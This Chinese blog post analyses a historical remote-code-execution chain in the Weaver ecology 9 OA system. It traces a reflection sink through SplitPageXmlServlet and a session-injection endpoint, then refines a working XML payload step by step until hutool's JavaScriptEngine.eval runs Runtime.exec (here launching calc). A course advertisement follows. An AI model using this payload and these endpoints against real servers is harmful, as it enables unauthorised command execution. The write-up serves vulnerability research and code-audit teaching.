文章总结: 本文分析了泛微ecology系统中通过反射调用实现的漏洞利用链。作者发现Util.useSpecialTreat方法可通过可控参数执行任意类方法,结合SplitPageXmlServlet和HrmSecondaryPwdAction接口实现Session注入,最终通过构造特定XML数据触发JavaScriptEngine.eval方法执行系统命令。文档详细展示了从sink点到source的完整利用路径及漏洞利用条件。
综合评分: 87
文章分类: 漏洞分析,WEB安全,代码审计,红队,实战经验
泛微ecology 历史漏洞浅析(二)
原创
路人甲
路人甲
红细胞安全实验室
2026年5月14日 11:19
广东
在小说阅读器读本章
去阅读
前言
在泛微ec9中,除了一些如代码执行、jdbc等常规的漏洞外,还有一种漏洞类型也可以关注下,这个类型就是反射调用,可以指定特定类的特定方法进行调用
sink寻找
前面我们说过,可以在工具类中发现一些非常规的漏洞利用点,而今天说的这个利用点,即能从工具类中发现,也可以通过关键字搜索;搜索反射调用,我比较喜欢搜索.getMethod(,为什么呢?因为搜Class.forName(和.invoke(能搜出很多调用,筛选起来比较麻烦,搜索.getMethod(时,可以筛选出很多固定方法调用,我们只需要找到哪些可以自定义的方法然后排查就可以了,通过筛选,我们找到com.weaver.general.Util#useSpecialTreat这样一个方法
在useSpecialTreat方法中,可以指定三个String类型的参数,var0为类名+方法名的拼接,var1作为第一个参数,var2作为第二个参数,可选;然后进行反射加载
var9.newInstance((Object[])null)加载的方式是对被加载的类有要求的,要求如下:
- 某个可加载类中的
public实例方法 - 类必须存在
public无参构造方法(因为调用了.newInstance()) - 方法参数为
1个或者2个,且为String类型(因为有判断,var2为NULL会去找1个参数的方法,反之找2个参数的方法) - 返回值为
String,不过无所谓,因为最终结果虽然会因为非String类型而导致抛出强转类型的异常,但不影响反射调用已经执行
其实能够利用的类还是比较多的,这里我们挑选一些常见的第三方高频引入的工具类,类似Apache Commons系列,这里我们使用的是hutool-all-5.3.0.jar依赖中的cn.hutool.script.JavaScriptEngine类,该类有无参构造方法,并且也存在参数为String类型并且数量只有1个的eval(String script)方法,可以调用到js引擎执行表达式
这里为了验证我们之前的分析,我们构造一个demo来尝试进行调用,这里我们需要把第二个参数设置成null,使其走进if (var2 == null) { ... }的逻辑中,让他去调用我们指定的单String参数的eval方法
import static com.weaver.general.Util.useSpecialTreat;
public class Test11 {
public static void main(String[] args) throws Exception {
useSpecialTreat("cn.hutool.script.JavaScriptEngine.eval", "java.lang.Runtime.getRuntime().exec('open -a Calculator')", null);
}
}
sink -> source
通过回溯,最终在weaver.common.util.taglib.SplitPageXmlServlet的getXmlNew方法中调用了Util.useSpecialTreat
而getXmlNew在同样也被getXml调用
getXml和getXmlNew都在doPost中被调用,var28或者var54任意一个不为空可调用getXmlNew
weaver.common.util.taglib.SplitPageXmlServlet在web.xml中已经定义
可以直接通过/weaver/weaver.common.util.taglib.SplitPageXmlServlet进行调用
这里流程复杂,我们并不清楚最终所需的参数是否可控,所以只能反向追踪;回到getXmlNew中,可以看到所需的var54、var114都是从var13中获取的
继续往上看var11必须为checkbox才会调用到,所以这里主要关注var11和var13两个参数
都是调用getXmlNew时所传递的第11和13个参数
回到doPost中,分别对应var31和var20
而var20和var31都是从var21中获取
而var21是通过传递tableString得到的值作为参数从Session对象中获取,然后转换成Document对象,所以这里从Session中获取的是一个xml格式的字符串
这里有的人可能有些疑问,Session中的值,我们并不可控,怎么能获取到我们所需的数据呢?确实如此,但是这里可以指定tableString,也就是属性的key,说明大概率是有地方可以设置的,这里作为一个必要参数,可以先再找找是否有相关的利用点,如果没有的话,就属于死路没必要继续了
寻找必要条件
我们主要目的是寻找一个可以控制属性key对应的value的点,那么我们通过搜索.setAttribute(",可以找到大量调用点,筛选后找到一个可以利用的点
在com.api.hrm.cmd.password.CheckPasswordCmd#execute方法中,可获取password参数,然后设置到Session对象中
通过反向追踪,找到入口com.api.hrm.web.HrmSecondaryPwdAction#checkPassword,对应的接口为/api/hrm/secondarypwd/checkPassword,this.getService(var4).checkPassword实际上调用的就是com.api.hrm.cmd.password.CheckPasswordCmd#execute方法
利用构造
根据反向追踪调用点章节的分析,我们必须要拿到var20和var31作为参数传入getXmlNew
checkboxpopedom为子元素,tabletype为根元素的属性,sink点从Element var13中拿到showmethod属性用于传入Util.useSpecialTreat作为调用的类,而popedompara属性则被作为调用的方法,所以构造如下:
<root tabletype="checkbox"><checkboxpopedom showmethod="cn.hutool.script.JavaScriptEngine.eval" popedompara="java.lang.Runtime.getRuntime().exec('calc.exe')"></checkboxpopedom></root>
通过/api/hrm/secondarypwd/checkPassword插入Session对象中
然后通过tableString=loginPassword的方式触发
实际情况不会一帆风顺,所以我们触发前打上断点,跟一下调用流程
checkboxpopedom和tabletype都能正常获取
但是执行到如下便报错了,获取var9的sqlhint属性时
反向追踪var9,发现并没有传入sql,所以这里var9默认是NULL,再去调用getAttributeValue时才会报错
接下来,我们在xml中补充上sql标签,再次尝试,成功走到了下一行,不再报错了
<root tabletype="checkbox"><checkboxpopedom showmethod="cn.hutool.script.JavaScriptEngine.eval" popedompara="java.lang.Runtime.getRuntime().exec('calc.exe')"></checkboxpopedom><sql></sql></root>
接着,来到如下这一行依然会报错,原因是没传入sqlsortway,并且也没用Util.null2String进行处理,导致空指针异常
sql标签中增加sqlsortway="DESC"
<root tabletype="checkbox"><checkboxpopedom showmethod="cn.hutool.script.JavaScriptEngine.eval" popedompara="java.lang.Runtime.getRuntime().exec('calc.exe')"></checkboxpopedom><sql sqlsortway="DESC"></sql></root>
继续,没有问题;来到getXmlNew前,有一个判断,var28和var54其中一个不为空的情况下会进入getXmlNew,这里没传任何值,进入了else中
getXml同样也会调用到getXmlNew
跟入到ShowColUtil.sort(var16, var18, var7, var17);时发生了报错,仔细看了下var7为NULL
跟入到sort方法中,var2为NULL,也就是getXmlNew方法传入的var7参数,但却调用了getChildren方法,所以报空指针异常
接下来,我们反向追踪var7参数是如何传参的,入参为第七个
对应的是doPost方法中的var17
继续追踪,找到var21.getChild("head"),从根标签中获取子标签head
我们在xml中添加上子标签
<root tabletype="checkbox"><checkboxpopedom showmethod="cn.hutool.script.JavaScriptEngine.eval" popedompara="java.lang.Runtime.getRuntime().exec('calc.exe')"></checkboxpopedom><sql sqlsortway="DESC"></sql><head></head></root>
已经成功进入了下一行
来到一个for循环遍历中,我们的漏洞利用点Util.useSpecialTreat就在其中,但var8的长度为0,默认情况是进不到for循环分支中的
我们还是继续反向追踪var8来源,在getXml中,var8对应的是var18;其值来源是调用CssRenderDeal.recordSet2Map(var8)进行添加
在recordSet2Map方法中,var0为sql查询结果集,通过遍历,将结果转换为HashMap
接着我们追踪var8来源,来到doPost方法中,与之对应的是getXml方法的var15参数
通过向上回溯,调用了var14.getCurrentPageRsNew(var126, var127)方法,将其返回值赋值给了var15
跟入到getCurrentPageRsNew方法中
首先调用this.checkExcption()检查参数,this.spp及primaryKey、backFields、sqlFrom属性都不能为空
接着,判断数据库类型,这里我们是sqlserver,调用的是else中的this.getPageSql(var2, var1)方法构建sql语句
getPageSql方法中内容有点多,但最终实际上就是获取this.spp中的属性组成sql语句,这里我们先不进行分析,我们先来看看this.spp是如何赋值的,随后传入参数,打上断点,看看最后的sql语句是什么样
就在getCurrentPageRsNew方法上面几行,就有对SqlFrom、PrimaryKey、BackFields进行赋值的点,分别对应var59、var61、var32
向上追溯,其值都是通过获取var9的属性,还记得之前的分析吗,var9实际上就是传入的sql标签
接着,我们继续给xml添加上对应属性
<root tabletype="checkbox"><checkboxpopedom showmethod="cn.hutool.script.JavaScriptEngine.eval" popedompara="java.lang.Runtime.getRuntime().exec('calc.exe')"></checkboxpopedom><sql sqlsortway="DESC" backfields="1" sqlform="2" sqlprimarykey="3"></sql><head></head></root>
接着我们添加到session中,然后在getCurrentPageRsNew方法中打上断点获取返回的sql
得到sql如下,看起来挺复杂
select outtemp1409477546046.* from (select row_number()over(order by tempcolumn1409477546046) temprownumber1409477546046,* from ( select top -1 tempcolumn1409477546046=0,1 from 2 order by 3 asc) innertemp1409477546046 ) outtemp1409477546046 where temprownumber1409477546046>0 order by temprownumber1409477546046
当我放进navicat中执行,发现出问题了,报错Incorrect syntax near '-'.
仔细看了眼sql,发现有个select top -1
进入到getPageSql方法中,找到对应的拼接点,发现该值是var1和var2的乘积
接着回溯var1和var2来源,分别对应var126、var127
var126由参数pageIndex传入,没传递值时,默认是1
var127是从根标签中获取pagesize属性的值
接着构造:
<root tabletype="checkbox" pagesize="1"><checkboxpopedom showmethod="cn.hutool.script.JavaScriptEngine.eval" popedompara="java.lang.Runtime.getRuntime().exec('calc.exe')"></checkboxpopedom><sql sqlsortway="DESC" backfields="1" sqlform="2" sqlprimarykey="3"></sql><head></head></root>
这里我们先不着急提交,我们先在navicat中验证一下,现在不爆前面那个错误了,却爆了Incorrect syntax near '2'.
仔细一看FROM 2肯定是不行的,还有ORDER BY的值也肯定不能是3,众所周知,ORDER BY的长度不能超过根查询的字段数量,这里只返回两个字段,所以不能超过2
我们随便找一个有值的表,如imagefile进行测试,ORDER BY的值换成2,发现依然报错,只不过这次是No column name was specified for columnxxx...
这里的错误是因为temprownumber1409477546046的第二列我们没有指定列名,不能指定为1,所以我们换成imagefile中的字段名imagefileid,最终不报错,成功返回了值
随后替换xml中的相关参数得到:
<root tabletype="checkbox" pagesize="1"><checkboxpopedom showmethod="cn.hutool.script.JavaScriptEngine.eval" popedompara="java.lang.Runtime.getRuntime().exec('calc.exe')"></checkboxpopedom><sql sqlsortway="DESC" backfields="imagefileid" sqlform="imagefile" sqlprimarykey="2"></sql><head></head></root>
然后提交,现在var8中已经有值了
并且也成功调用到Util.useSpecialTreat方法
最终成功执行代码
最后
本文当中所提及内容均来自实战代码审计班课程内容,关于该产品更加深入利用手法可以咨询课程
顺便再推荐一下我师傅的代码审计课程。近期某报表的课程章节已结束,马上开启新的章节,感兴趣的朋友可以尽快加入。课程中包含各类产品最新补丁对应的 0day 漏洞(非水洞) 的挖掘与分析;过往课程也涵盖多款市面产品的 0day / 1day / nday 漏洞案例讲解。课程后续会持续更新推进,支持一次报名长期学习与答疑。适合真正对代码审计感兴趣、或想系统学习但缺少思路与方法体系的同学(如有其他目的请勿打扰)。对基础要求不高,能读懂代码即可,真正帮助你从只能读懂代码到找到问题。个人学习过程中受益良多,特此分享推荐给希望提升自己的朋友(非广告)。若有打扰,敬请见谅。
下方是进阶班课表
下方是基础班课表
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红细胞安全实验室 路人甲
路人甲《泛微ecology 历史漏洞浅析(二)》